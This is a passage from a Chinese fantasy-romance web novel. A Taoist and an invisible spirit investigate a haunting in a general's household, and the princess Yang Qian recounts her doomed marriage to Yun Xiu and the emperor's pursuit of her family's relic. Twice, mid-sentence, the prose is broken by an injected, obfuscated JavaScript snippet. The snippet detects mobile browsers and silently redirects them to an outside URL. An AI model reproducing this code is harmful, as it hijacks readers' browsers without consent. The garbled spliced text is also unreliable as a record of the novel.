长离在旁人看不见的角落里偷偷弯了弯唇角,很快又恢复了那高岭之花的清高模样,将欣长的身影不动声色地朝左挪动两步,将将替闻砚挡住杨浅如炬的目光。 玉清发带在月华之下越发清冷。 长离手中的剑锋挥斥一瞬,祠堂内的红烛噼里啪啦随即全都活跃跳动起来。 “郡主怎么也信这些无稽之谈,既说云岩又病了,我便再去瞧一眼吧。” 6. 戏台已就位 一回生二回熟,先前他已经给云岩瞧过一回病,再瞧一回实属应当,杨浅并没有放在心上。 她状似无意地瞥向长离让出来的背后,终于看清他身后空空荡荡,没有什么鬼怪,不由长舒了一口气,笑容也变得真诚了许多,“鬼神之说由来已久,说不定真有此事,先前道长不也说可以帮府中驱邪纳福吗?“” 她本意是想活跃下气氛,没想到长离天生是个不爱笑的,气氛一时间僵持不下。 还好杨浅不是个脸皮儿薄的,尴尬了一会也不是那么尴尬了,自圆其说,“呵呵呵,我绝对没有怪罪道长的意思,请跟我来。”引长离一同前往云岩居住的芸晴园。 却忘了这屋里本来是有三个人的。 此时第三个人的声音幽幽从身旁响起,“丽娘?你…你…” 庄通不知何时悠悠转醒,凭借本能扶着廊柱一骨碌从冷冰冰的青石地板上爬起来,瑟缩地伸手去摸自己的后脑勺。 还好还好,虽然疼痛,但没有流血,也没碎,他摇晃着昏昏沉沉的脑袋,一边庆幸一边咋舌发出“嘶嘶”声,呆头呆脑的,像只洋相百出的大白鹅。 真是废物!! 杨浅实在没忍住在心里暗暗骂了一声,借着眼下的阴影快速翻了个白眼,沉声质问他,“你怎么在这?” 庄通在杨家当了一年多的甩手掌柜,已经很久没人用这种语气同他说话,他不敢置信地狠狠揉了揉眼睛,正要发怒时,终于看清楚面前站着的女人到底是谁,“郡主……您怎么来了?” 到底谁在问谁? 杨浅气结,蠢货就是蠢货,上不得台面。 她指尖微颤,好半晌,才将那口气咽回肚子里,硬生生在脸上堆出几分温和,假惺惺道:“夫君怎么一个人到这里来?如今府内不太平,祠堂又僻静幽冷,该叫丽娘陪你一起过来。” 庄通当然不好说自己是特意避开旁人偷偷来祭云岫的,顾左右而言他,马马虎虎地同人解释:“我来……我看见有一个女鬼!!我说……莫不是从前宅子里伺候的下人,无意间丢了性命,徘徊此地不肯离去?” 说着说着,似乎说得自己都相信了,攀举着胳膊,一双眼睛瞪得如铜铃,振振有词道:“是真的,你相信我,” 看见在场的两人不为所动,生怕别人不信,语气急切起来:“她年纪并不大,眉宇间仍是少年模样,体态轻盈,腰肢婀娜,黑发垂足,乍一看与常人无异,可那一张脸苍白细腻像纸人一样,还会幻化成青面獠牙的鬼怪,焉知不是她本相……总之,绝不可能是凡人。” 一番义正严辞庄通尤嫌不够,又叽叽喳喳吵嚷了一盏茶的功夫,这才发现根本没有人理会他。 他不由抻长脖子去看杨浅,只见女人的脸色一片铁青,在昏暗烛光的映衬下晦涩不明,阴沉得可怕。 噫!! 吓人!! 庄通骇了一大跳,脚跟脚地趿着步子连连后退。 虽然平日里这个女人对他千依百顺,但他没有一刻敢把她当做妻子。一想到这个女杀星每次用她沾满人血满布伤痕的粗粝手指触碰到他,他都会恶心害怕得连做好几晚噩梦。 更不要提同床。 好在她还算识趣,替他寻来美人妾室,又在他面前做低伏小,以至于他在杨府的日子不是太难熬,日子一长他吃住奢侈惯了,倒也乐得也她扮演恩爱夫妻的戏码。 但是人的害怕恐惧如附骨之蛆,是深入骨髓的,平日里理智掌控着身体尚能装一装不叫人看出来,现下几番受惊,便再也装不住了。 他一把抱住抄手回廊的柱子,“哇”得一声吐了出来,浊物的气息随之扑面而来,庄通刚直起的腰再次弯下去。 而这边杨浅看都没看他一眼,抬手抱拳弯腰,冲长离长长一作揖,再开口已经做好决定。 “长离道长,我现在相信您说的了,府里的确有不干净的东西,请您不计前嫌,再帮我们定北侯府一次。” 话倒是没毛病,只不过…… 一旁看热闹的闻砚:“……” 整个杨府连个稍有苗头的小精都没有,哪有什么不干净的东西…… 不对…不对不对不对… 她后知后觉,难以置信地再次伸出一根手指指向自己。 又是我?啊?? 真是千古奇冤!!!比窦小姐还冤枉!! 她和那些没品的小鬼还是有很大区别的吧,起码她不喜欢生吃活人!! 闻砚恨不能立刻显相冲出去揪着杨浅说清楚,“劳资不是鬼!!!!也不吃人!!” 人本身又干又柴一点儿都不好吃,何况还是一点灵气都没有的凡胎,满肚子浊气,不过若是长离这样干干净净的修道之人说不得还有几分滋味…… 可惜这是个不解风情的,不给吃。 她恨恨地瘪瘪嘴,躲在聚阴琉璃伞下对着长离的影子不甘心地做出个大吃活人的动作。 一直把注意力放在闻砚身上的长离听见背后悉悉索索的动静,强忍着才没有笑出声。 不用看他已经能想象出她一刻钟翻出八百个小动作的样子,古灵精怪的很。 三人一鬼对峙间,两名身手矫健的侍女并一个花蝴蝶似的姑娘踉踉跄跄追过来。 穿的花枝招展,半只胸脯都快跳出来的姑娘见着人,眼睛都不错一下,视祠堂牌位如无物,上来便挽住庄通的胳膊,娇滴滴道:“老爷~~,您怎么一个人跑出来了也不和奴家说一声,让奴家一通好找,您坏死了~” 话是对着庄通说的,眼角余光却十分隐晦地朝杨浅瞟去。 杨浅倒没什么不满,态度十分的宽容,“丽娘你下次不要再来祠堂了,这里不是你该来的地方。”又安排庄通,“夫君随丽娘回去吧,夜深风大她身子单薄,不能受风。” 她一副大妇主母的容人做派,但不晓得为何,闻砚总觉得她是因为真的怜香惜玉,而不是为了这个什么通。 只不过这个什么通并没有这个自觉,他被美人撞了个满怀,原本忐忑的心莫名地得到安慰,打浆糊的脑子也变得清醒起来,心中清楚他来祭云岫的事情绝不能露馅儿。 于是男人将瘦弱的腰板儿下意识地挺了挺,仰头拿鼻孔看人,对长离发表意见:“我想起来了,方才就是你这个瞎了眼的臭道士打晕我的吧!谁知道你是不是和那个女鬼一伙儿的,郡主你可千万不能相信他的鬼话,把他赶出去……” 闻砚在一旁听了瞬间“扑哧”一声笑出来,即使知道自己撑着屏声闭影的琉璃伞,旁人都感受不到她的存在也不忘吐槽,“瞎说,要是一伙儿的就好了,何必白费功夫打一架,裙子都弄脏了……深井冰……但是的确长得很漂亮,确实漂亮……” 她漂亮的眼睛里装满了星星,与之容貌相反的沙哑嗓音嘀嘀咕咕,真是天使容颜,恶魔轻喃。 然而旁人听不见,长离却听了个清清楚楚。 他冷若冰霜的脸上不自觉地浮现出一丝笑意,没有理会一旁瞎叫跳脚的庄通,朝杨浅微微点头示意,说出口的话一反常态,不仅不冷淡,反而使人如沐春风。 “郡主有请,莫敢不从,条件我已经提过,只要郡主舍得就好。” 这春风化雨的态度又惹来闻砚的一阵腹诽,她冷笑着“呵”了一声,阴阳怪气道:“太阳打西边出来了,这还是那个一言不合拔剑就刺的小道长吗?” 得到长离的回答杨浅没说好,也没说不好。 主要是她拿不准长离究竟要拿那物件做什么,而她也从未真的见过那东西的原貌。 月影流动,鸦啼虫鸣。 扑在庄通怀里的丽娘不动声色地抬头觑了杨浅一眼,得到她几不可见的颔首后将胸前两只兔子摇得更欢,挽着庄通撒娇,“老爷~~,天还没亮呢,我和翠娘都很想您……” 美人娇俏可爱,饶是哼哼唧唧的撒娇使人起了一层鸡皮疙瘩也并不厌烦。 庄通本就好色,不过是因为当着杨浅的面不好明目张胆地与美人调情,这会子被丽娘摇了半天,又不见杨浅反对,他懒得再装伉俪情深,便半推半就地靠在丽娘身上一脚轻一脚重得离开这个是非之地。 如此一番折腾下来已是后半夜,天空泛起鱼肚白。 长离的注意力始终在闻砚身上,听见她在一旁兴致勃勃摩拳擦掌欲与他一同个瞧热闹,“你就留在这”这几个字到底没忍心说出口。 于是乎,余下二人一鬼轻车熟路地穿过廊壁来到云岩所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363383|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居的芸晴园。 这一次长离没有被丫鬟们挡在门外要求他悬丝搭脉,而是在杨浅的带领下得以进入云岩的卧房见到了病人本尊。 金丝楠木的雕花床上,少女发髻散乱,脸颊消瘦,面色蜡黄,额角冷汗涔涔,只能从眉宇间依稀看到几分云岫的影子。 闻砚吓了一跳,惊呼:“这姑娘魂魄俱全,命格平顺,怎么还能搞成这幅模样?” 按理说,万物有灵,三魂七魄归位,命格气运皆有定数,这是从出生那一刻便注定的,有道行的人一看便知,这也是之前长离说无碍的原因。 可可可,这是怎么回事? 云岩的样子活像被人抽干了灵魂,进气多,出气少的。 这屋里也是奇怪,放了如此多明烛火盆,是嫌大夏天的不够热吗? “咳咳…咳咳咳…咳咳……” 长离前脚刚迈进屋,后脚便开始咳嗽不止,一声连一声此起彼伏似要将心肝脾肺肾一起咳出来般,逼得他额角青筋迸现,一张素脸也瞬间红如熟蟹。 杨浅还以为是家中驱艾的缘故,忙道:“许是艾叶的味道太重,我去散散。” 闻砚却不知道是何缘故,感觉自己原本安置心脏的位置被这一声声咳嗽揪成一片。 她艰难地捂住自己空洞的左胸口处并不存在的心室,趁杨浅开窗驱艾的空档,从袖笼里掏出一个小药瓶递给长离,“这个给你。” 是一枚鹌鹑蛋大小的药丸子,黑黢黢黏糊糊,像几百年不洗澡搓下来的酸泥。 这卖相,闻砚自己都觉得有点不好意思,“虽然但是,这是沙棠晾晒后制成的丹药,吃了可以闭气……” 她还未仔细解释沙棠是什么,长离已经一套动作行云流水,捻起药丸子往嘴里塞去。 额……闻砚很想说,其实不能直接吃的。 沙棠是昆仑山上普通的野果,长得很像凡间普通的红艳艳的李子,食之有闭气御水的功效,很适合灵力地位的小妖和肉体凡胎的凡人。 不过有一点不太好,沙棠酸涩,非常人所能忍,所以大多数时候需要茶水送服,中和它的爆炸口感。 果然,长离被酸得直皱眉,却也不过一息之间,又恢复了往常不食人间烟火的仙人模样。 外厢的杨浅听长离停止咳嗽,还一头雾水地以为是自己驱艾的效果立竿见影。 喜上眉梢道:“道长无事就好,可能看出岩妹这是怎么了吗?” 长离没有立马回答她的话。 他动作轻柔地拨开云岩湿透的衣袖,再次调动周身的法力进入云岩的静脉开始细细探查。随着神识游走,他的眉头越皱越紧,最终将两片眉尖抿成一条缝。 “她这不是病……倒像是被什么东西魇住了。” 长离皱眉道:“你们家可有人会巫术?或有人是巫祝血脉,会行魇胜之术,或出生苗疆,习过控心蛊术。” 他话说的直白,叫人避无可避,杨浅心下一凛,神色也变得异常凝重。 杨家满门忠烈,死后配享太庙,位列三公,几世清白。如果和巫蛊扯上关系,就算如今杨家人才凋敝拢共加起来也没有几个人怕是也要满门抄斩的。 虽然她心中清楚长离这样真正有修为的人不会轻易拿人命开玩笑,但谨慎起见她还是试探道:“道长此话怎讲?我们杨家没有人与巫族沾亲带故,不可能是巫术。” 长离满眼怜惜地将云岩的手臂塞回被子里,神情严肃,“郡主的顾虑我可以理解,可这姑娘的命格还不够渡这么大的劫难,说的更难听一点,按理她根本不该遭这一劫。你与其问我怎么回事,倒不如问问你自己。 郡主,你们府上这一年怪事频发,真的是闹鬼吗?” 屋外夜风习习,月光皎皎。 杨浅的脸色就在这洁白无瑕的月光下越来越白,越来越白,最终在长离的注视下化为一片灰败之色。 “到底是我害了她,害了他们。” 她倒吸一口凉气,低头轻喃,一开口便是泪水决堤如洪水猛兽。 最终让闻砚在她这里补足了云岫没讲完的故事。 “我的十七岁是那样暗淡无光。” 二十七岁的杨浅低眉垂目,声音暗哑。 7. 红尘路漫漫 十七岁之前,令她懊恼不甘的是自己是闺中女郎。 十七岁之后,令她烦恼不安的是自己是杨家遗孤。 “那一年,我先后失去了父亲,兄长,伯母,婶娘,杨家的庇护和往日的荣光,一个人怀揣着巨大的秘密遗世独立,孑孓独行。 我以为我是孤胆英雄,” 可偏偏造化弄人,叫她在十七岁那年遇到了让她的人生不再孤独前行的少年郎。 杨浅似乎是累了,兀自伸脚勾了只绣墩垫坐下,又给自己倒了杯冷茶一饮而尽。 “呵,”她嗤笑一声,不知是在嘲笑自己还是旁的什么,“现在想想真是可笑,都说辜负真心的人要吞一千根针,说谎的人是我,可最终付出代价的却是他。” 曾经她得到过这个世界上最真挚的感情,以至于她在少年郎热烈的爱意和杨家清白的声誉中辗转反侧。 云岫是这世上唯一懂得她的人,也是她唯一珍爱的人,她本该珍而重之,满心欢喜地与之白头偕老。 可时也命也,她嫁给他时并不是为了纯粹的爱情,也许正是这样夹杂了利益的开始使得后来事情崩塌时才会无法挽回。 福兮祸所致,祸兮福所倚。 她是女郎,所以她担不得家族的传承。 也因为是女郎,她得以苟且偷生,挣出一条命。 于是有一日祸临己身,她在少年郎炙热的目光中,想起了自己懵懂的爱情,然后利用了爱情。 她想活着,她要活着。 父亲曾说过,杨家一门供奉的是南方武神朱雀,历经三朝从无败绩,兄长天资平平失误尚有可能,父亲久经沙场老而弥辣,绝不可能因贪功冒进死于战争。 杨家有武神庇护。 杨家不可能战败。 怀着这样的信念,她成亲三日后弃夫而逃,千里奔袭,风霜雪刃,日夜兼程地前往两军交战的绒城。 北地的冬日,天气阴沉地吓人。 狂风暴雪袭来,杨浅死死握住缰绳贴紧马腹,任由风暴卷起的沙砾划破她娇柔的面颊。血液渗出一道道红线,又在这暴雪中凝结。 最终战马扑通一声倒地,连同一起倒在地上的还有嘴唇干裂眉眼凝霜的杨浅。 濒死的时候,她回想起那个被她压在心底深处的少年,想到在清晨醒来后看到那封休书时失落的眉眼,她想,她得活着回去和他说一声对不起的。 那个少年自尊心那么强,受此羞辱定恨不能生啖其肉。 想到这里,她不由得笑了,不知是绝境中爆发的求生欲还是被爱情激发出的勇气,她叼着兄长赠她的雕花匕首,一刀又一刀,血淋淋地剖开爱驹肚腹,将自己整个人蜷缩着塞进去。 温暖的马腹让她短暂地得到了一丝喘息之机,她好几天没有休息了,她好困。 可她知道若此刻一睡便是永远,她再也见不到那个剖开自己的心来安慰她的少年。 无尽黑暗中时间仿佛凝滞,杨浅不知道撑了多久,总之风雪终有停时,就如同战争也终于止戈的一日。 她侥幸从狂暴风雪中捡回一条命,顾不得满头血污,从马腹中钻出来继续北行。 其实她不用这样执着,若是天将降大任于斯人,她便该一路斩妖除魔,逢山开路,遇水填桥,所向披靡。 可若是不执着也就不是武能安天下,马上定乾坤的杨氏后人了。 她暗暗给自己打气,只需要坚持到北地城池,只需要坚持到大帅营帐,接过父亲的职责统帅三军,一定能攘除胡虏,重振杨家军威。 可惜,她虽然有力挽狂澜之才,却忘记了人心难测,天威难测。 打败羯人之日,便是她被赐死之时。 逃婚,骗婚,无令调兵,桩桩件件都成为她必死无疑的罪证。 那个时候她才恍然大悟,原来父亲不是死于敌军刀下,而是做了政治斗争的亡魂。 杨家人调兵不需要令符,这是多么令君主忧心的存在。 所以皇帝不是要她死,是要杨氏的威名死,要死得烂死得臭,死得人人喊打永世不得翻身。 杨家走上了一条死路,她的生命也走到了尽头。 是云岫再一次救了她的性命。 那样畏惧人言的人,亲自出现在燕北都护府,出现在大庭广众之下告诉世人,上清云氏第四子云岫的夫人,没有逃婚,没有骗婚,只是三日回门罢了。 他笑盈盈地迎她进城,仿佛只是与新婚回门的新娘浅浅分别几日丈夫,小别胜新婚,正等着她归家。 杨浅不能想象云岫是怎样拖着他那随时可能撂挑子不干了的身子骨一路从京都追到北地的,可她知道,这就是她决定共度一生的人。 “我以后就留在北地,不回京都了,阿浅你不会不管我吧。” 少年的眼睛里盛满了笑意,可笑意的背后杨浅看见的是满心的忐忑与讨好。 他什么也没有,唯有一颗真心小心翼翼地捧到了心爱的姑娘面前。 他赌上了自己唯一拿得出手的百年望族的身份,唯一一次,也是最后一次,不听话的棋子往后余生都会被家族厌弃,而他一而再再而三地用上清云氏之名为一己私欲做保山,必然被家族除名。 他已经无处可去了。 杨浅觉得自己的眼眶被什么东西硌得生疼,揉啊揉地,越揉越热,越揉越湿,最后没忍住滚下两行热泪。 我们永远不分开,她听见自己的心说。 云岫虽然双腿不良于行,但的的确确是个很好的爱人。 他那样聪慧通透,样样都学得来,帮她写奏章,处理军务,打点军营关系。 杨浅不练兵时也会在院子里将一杆杨家枪舞得虎虎生风,枪刃擦着云岫的发梢钉在廊柱上,云岫便看见他心爱的女子马踏飞燕般起身回旋,一招一式间尤如猛虎下山,而猛虎本人却动作轻盈地悄悄将一支竹簪插入爱人的发髻。 她明眸皓齿,巧笑倩兮,“生辰快乐,云郎。” 那一年,杨浅十八岁。 北地土地贫瘠,位处三国边境,民居混杂,一向比京都城民风开放。 因此云岫在这里便得到了短暂的自由,没有嘲笑、鄙夷和同情的自由。 远远看见云岫推着轮椅,民众们纷纷笑着同他打招呼。 “小杨将军早啊,岫公子也早。”卖豆花的大娘笑得见牙不见眼,“将军今日真漂亮,岫公子上次做的水车真好用,已经能灌田了。” “是啊是啊,岫公子真乃鲁班再世,给我阿公做的轮椅轻便又实用,我阿公昨天自己出门晒太阳……” “岫公子生得真俊俏啊,生出来的孩子定是金童玉女般的模样……” 大家早就习惯了这位京都来的贵公子,杨浅是护佑北地的杨将军,云岫是她的夫婿军师,小两口出入成双,朝暮相对,恩恩爱爱了好多年。 正缺一个孩子。 当然,孩子这种事情不管当事人如何想,世上还有另一个人也在期盼这个实际上并不存在的孩子,那便是云岫的母亲。 作为一个母亲,她尽她所能的庇护自己的孩子,为了这个不健康的孩子能在有生之年快活些,她力排众议替他娶回心仪的姑娘,又豁出性命为他保住心爱的姑娘。 如今走到了人生的尽头,她的牵挂却远在北地异乡。 于是乎,云岫和杨浅偷来的三年时光到这里戛然而止。 悲剧从这一刻起变成了必然发生的命运,不过或早或晚而已。 京都城依旧纸醉金迷,功勋贵族们彻夜狂欢,沉迷于温柔乡中不可自拔。 二十一岁的杨浅再次踏足这个繁华的世界。 这一次,她手握缰绳,挺身御马走在队伍最前列,脸上却再没有了少年时期的神采飞扬,已经成为杨家家主的杨浅一如父亲当年,沉默地享受民众们的欢呼与掌声。 不过还是有些不同的,新任定北侯是个女郎。 新帝在接风宴上主动表示,“云夫人病重,幼慧身为郡主,还是要以身作则,在夫人身边尽尽孝才是。” 前朝的定北侯此刻三言两语便成了内廷的郡主。 杨浅不置可否。 皇帝与杨家,早晚不死不休,把她赶回内宅也许已经是皇帝能接受的最温和的手段。 若是十七岁的杨浅,定要说一句“谁说女子不如男”,可在权利漩涡中挣扎生存的她如今只能默默接受。 可惜她还是小瞧了皇家的无耻。 接风宴后,有一个小太监来为她引路,“郡主娘娘快随老奴来,岫公子饮多了酒身体不适,有咯血的症状……” 杨浅的脑袋便轰得一声平地起惊雷,炸得七荤八素什么都来不及多想,“快带路,”,她急切地想要到云岫身边去,慌了神压根来不及多想,一脚深一脚浅地随对方离开。 然而等着她的却并不是云岫。 借着昏暗的灯光,她看清楚了帷幔里躺着的人。 “陛下!?” 和先帝相似的面容隐没在噼啪的烛火里似明似暗,相比温和的先帝,这位帝王更年轻,更强壮,也更多疑。 他用不着试探,强取豪夺,“按理,你是不能活的,”他把自己受世家掣肘说成了自己的功劳,“但朕以为你一女子,活,也不是不可以。” 又话锋一转,“杨家为朕鞍前马后,朕不能不感到,听闻杨家供奉一宝物乃武神朱雀的真身,定北侯知道该怎么做吗?” 内廷的郡主又变成了前朝的定北侯。 杨浅如梦初醒,原来是冲这物件来的啊! 她忽而笑了,自杨家殉国后第一次发出这样畅快的笑声。 原来大梁的国脉,在她们杨家人手里,这才是杨氏的命门。 “陛下说的,臣一介女郎,闻所未闻。” 方才还小心谨慎的女子突然反抗,皇帝感受到前所未有的被人威胁的愤怒。 “既然如此,郡主便在宫里多留宿几日吧,只是不知道云夫人等不等得。” 皇帝盯着杨浅年轻姣好的面容,突然想出一个绝妙的馊主意,“宫中寂寞,武将选妃入宫也是惯例,郡主姿容绝色,朕心甚慰。” 若是诞下皇室血脉的孩子,武神血脉不就留在天家了吗? 皇帝越想越觉得妙哉,越想越觉得当初先帝该将杨浅赐婚给他,何至于他今日之被动。 然而他忽略了一个事实,杨浅不是个普通的女郎。 普通女子被天子一吓唬,或威逼或利诱,许就从了,或是男人霸王硬上弓也无力反抗,而一位百军列阵还能取敌方首级的将军,如果她不想,还没有哪个男人能让她怀孕生孩子。 于是此事僵持不下,双方各执己见,谁也不肯让渡自己的生育权。 虽然这样做也有一个弊端,为了这个不存在的孩子,杨浅被困在了这座四方城里。 直到云夫人发丧的那一天,她终于重获自由。 云府门头高大,挂满白幡,吊唁的亲友已经散去,独留两只白玉石狮子左右而立。 有发丧人高声大喊,“吉时将至,准备起灵——” 云岫却死死抱着母亲的棺木迟迟不肯撒手。 云老爷生平最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363384|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨这个污点般存在的小儿子,此时丧妻之痛和御前之辱交织,恨意到达顶峰。 他对儿子怒目相对,抬手就是一巴掌,像看垃圾一样看向儿子,“孽障,早知当初便该掐死你,好过今日让你为云家蒙羞,连累你母亲性命。我们云家没有你这样的不孝子,你给我滚。” 云岫一言不发,母亲去世,妻子却流连宫廷,他连同上清云家一道成为了全京都城最大的笑话。 看见平日里虽然清瘦但有好歹有几分生气的一张脸现在只剩下深陷的眼窝里泡着两颗死鱼眼,杨浅感觉自己的心被揪得生疼,比战场上任何一次受伤都要疼。 灵堂里白幡滚动,发丧人高声又喊了一次,“吉时将至,准备起灵——” 云岫依旧环抱棺木不放手,“娘临终前遗愿就是看到阿浅,你们不能就这样把她埋了……”他喃喃自话,始终不肯退让。 云老爷看着云岫这幅要死不活的样子就来气。 垃圾,废物,讨债鬼,生下来就该去死的冤孽。 他再次抬手,这一次巴掌却没有落在云岫脸上。 杨浅不知道什么时候出现在自己夫君身边,一张俏生生的脸蛋随着清脆的巴掌声很快浮浮现出五根清晰的手指印。 “阿浅!!” 要死不活的云岫短暂获得了新生,连忙去看杨浅捂住的脸颊,“伤着没有,让我看看。” 他还是爱着这个姑娘。 云老爷被这对眼前小鸳鸯气地大怒,道:“贱妇,居然敢上门来!” 却不敢真的动手。 这可是个女杀星!! 而女杀星本尊是个骄傲的姑娘,向来信奉的是跪天跪地跪父母,此刻却是真心实意地祭拜云夫人。 她郑重地对着云夫人的棺木磕了三个头,转头面对云老爷时却寸步不让,“我已向陛下阐明,待婆婆入土为安就和云郎回北地,往后也不会碍您的眼,还望您自重。” 说到这里她又想起与皇帝的约定,心中不由一阵烦躁。 眉宇间渐渐凝结的轻愁斩也斩不断,杨浅耐着性子安慰云岫,“让婆婆走吧,总要向前看的。” 是啊,该向前看了,可是他们的前路又在哪里呢? 杨浅不知道。 终于,在云岫第三次提出一起创造新生命的建设性意见后,她彻底失去耐心,爆发了。 当日皇帝软禁她,势必要让她生出一个带有皇室血脉的孩子来,而云夫人危在旦夕,她没那么多时间和皇帝耗着。 于是兵行险招,先发制人,提出了折中的方法。 一碗避子的汤药,断了她生育的可能,也断了杨家的传承。 杨家还是那个战功赫赫的杨家,到杨浅百年后为止。 没有新的一代人继承,杨家将的传奇终将过去,而杨家的一切秘宝法门皆由皇家接手。 这是她的决定,是她为了家族的荣耀愿意付出的代价,但她不能自私地剥夺云岫拥有孩子的权利。 她思前想后,辗转反侧,直到再也不能装傻充愣,终于逼着自己做出了一个无法挽回的决定。 “我托王副将帮我从扬州带了几个漂亮的小丫头回来,都是十七八岁来过癸水的清白姑娘,你挑一挑看看有没有合心意的,……” 她话还没说完,“啪嗒”一声,一个茶盅在身边摔得四分五裂粉身碎骨。 正如同两人本就岌岌可危的爱情。 这是云岫第一次朝杨浅发脾气。 不知道是谁说,人攒满了失望是连诘问都透着死气的,此时大抵如此。 他眉眼冷得挂霜,说出口的话却平静异常,“阿浅,你到底把我放在哪里呢?这是我们成婚的第五年了,你若是果真看不上我,我与你和离。” 其实二人之间的矛盾并不是因为这个根本不存在的孩子,而是云岫在感情里始终处于付出者的患得患失,以及杨浅在家族荣誉面前被迫放弃了爱情的羞于启齿。 夫妻二人各有各的难处,说到底还是因为不是一路人。 他们相似又相反,注定走上不同的道路,一切从开始便有迹可循。 那天开始,夫妻二人便开始分居,从此形同陌路,再没说过一个字。 直到战争的号角再次被吹响。 时年大旱,羯人的草原别说养牛羊,连人都养不活几个,于是乎操着一股子狠劲儿一脑袋扎进了大梁的地盘。 杨浅不得不领兵出征,主要是除了她大梁也挑不出几个能看的将领。 离开前一天,四年没见的云岫破天荒地推着他那嘎吱嘎吱响的木头轮子来送行。 “绒城有我在,你放心。” 他虽然和杨浅闹掰,可到底是他唯一爱着且一直深爱的人,面临生死关头,他做不到冷眼旁观。而他的本意也并不是期望挽回什么,只是希望杨浅能放心出征,不要分心想着身后,以免影响战局。 谁知最后居然一语成谶。 羯人怕惨了杨家军,正面打不过改偷袭,日行千里,最终兵临城下。 铁蹄踏过昔日繁荣的城池,巷子口卖豆花的大妈,和他同病相怜的大爷,贩头花的行商…… 一城的人手拉手一起相聚黄泉地府…… “当时,我想着得胜归来便同他求和的。” 杨浅捂着脸,诉说着还未来得及说出口的遗憾。 “我想和他说我爱他的,他没给我机会……” 故事已经讲完了,然而闻砚总觉得哪里不太对,仔细一琢磨终于回过味儿来。 关键人物“云岩”的名字还未出场!!!! 8. 国破山河在 永泰七年,绒城被屠,守城官上清云氏之四子云岫死于城中。 而云氏唯一来北地祭拜云岫的人是他的妹妹云岩。 小小一个姑娘,身披麻衣头带葛巾,由一个老仆陪侍,沿着哥哥走过的路一路跋山涉水而来。 其实平日里兄妹二人并不亲近,云岫性情孤僻,不怎么和府邸中的兄弟姊妹们来往。 但到底是一母同胞,骨肉至亲。 云岩接过杨浅递给她的三炷香,朝着云岫的棺木拜了又拜。 “旁人不敢我敢,旁人不来我来,血脉亲情哪能以族谱判断。” 杨浅这才从云岩的嘴里知道些端倪。 绒城遭羯人屠城后,云岫作为守城的将领被问责,鉴于本人已经身死殉城,所以连坐其妻定北侯杨浅,褫夺世袭勋爵,然君主念其军功斐然又夺回城池将功补过,保留郡主封号,小惩大戒。 实际上这件事的本质还是皇帝想方设法要收回兵权,这才找了个听起来冠冕堂皇的由头,雷声小雨点大得借题发作了一番,与旁的什么人无关。 可云家人怕得要死,丢失城池这样的大罪是要连累亲族的。 于是由云老爷主持,其他的云老爷们做见证,一群姓云的不出三日就将另一个姓云的名字从族谱上划掉了。 “往后封侯拜相,各不相干。”他们急着表忠心。 然而时也命也,这忠心表出去是一回事,被表忠心的人接不接受又是另一回事。 “同年,上清云氏因私通外贼,被判屠诛九族。” 杨浅哈哈大笑,笑的眼泪都出来了,解气道:“这是他们的报应,”她怜惜地看向床上躺着的娇弱少女,粗粝的手指摩挲着她娇嫩的面颊,仿佛透过她的脸看见另一个人,“可岩妹无辜,所以一直养在我府里。” “都护府是我太祖在世时修建的,算起来有将近两千年的历史,我们杨家人世代居住在此。 据说这里原本是座荒城,常年有精怪来此吃人作乱,可偏巧就巧在家祖在这里建宅后鬼邪不侵,吸引许多无人庇护的民众来此聚居,渐渐就形成了北地要塞的绒城。细细想来,我认为与道长你说的那个东西应该是有关的。” 说到这里杨浅似有些赧然,“不过这样的家族秘辛父亲只告诉过兄长,我能知道的都是从长辈们只言片语中推测出来的,并不是事情的全貌,若有遗漏,应当就是从这里出了岔子。” “我曾经趁父亲醉酒时偷偷打听过。 他说,我们杨氏世代供奉的是武神朱雀—陵光神君,这也是我家战功赫赫的原因,毕竟陵光神君是南方武神,信众但凡是崇武报国的都会去拜一拜。传说六界混战伊始,陵光神君逢难,先祖有好生之德收留了受伤之下显露法相真身的陵光神君,神君感恩先祖的恩情故留下一片分身保佑杨氏后人……” 听到“感恩”两个字,长离没忍住,“呵,”得轻轻从喉咙里挤出一声嗤笑,挑眉悠悠然道:“居然是这样说的吗?” 其中的嘲讽之意任凭是个傻子都不可能听不出来。 杨浅还以为是因为长离观中供奉的神明师祖就是这位陵光神君,自己这么说显然颇有说陵光神君羸弱居然需要凡人来救之嫌,所以在无意间冒犯了他。 因此她不仅不与长离计较,态度还颇为友善,“家父也是听祖辈传闻,陵光神君福泽大地,无量功德,我绝无冒犯之意。” 只不过如此一来,故事自然讲不成了,二人索性打开天窗说亮话。 长离直言不讳:“云岩的病我可以治,但是东西……你得亲自去取来,如何?” 一旁听热闹的闻砚:??!?! 那密室被云岫一脚踩中触发了禁制,里面的火焰怕是连母神补天的灵石都能炼化,他这是要杨浅去送死吗?? 不对,人死了还能变鬼,被禁火灼伤会烧得渣都不剩吧…… 她不由吞了吞口水,用不大的声音道:“其实倒也不必这么麻烦,如果你需要的话也可以请我代劳,我收费合理童叟无欺……只要七日阳气……” 试图劝阻。 谁料此话一出,长离好看的眉峰立刻蹙成一个川字,变得阴郁锋利起来。 这人灵力充盈,不至于七日阳气都给不起吧,看起来也不像肾气亏空之人啊……难不成有难言之隐? 那还真是太可惜了。 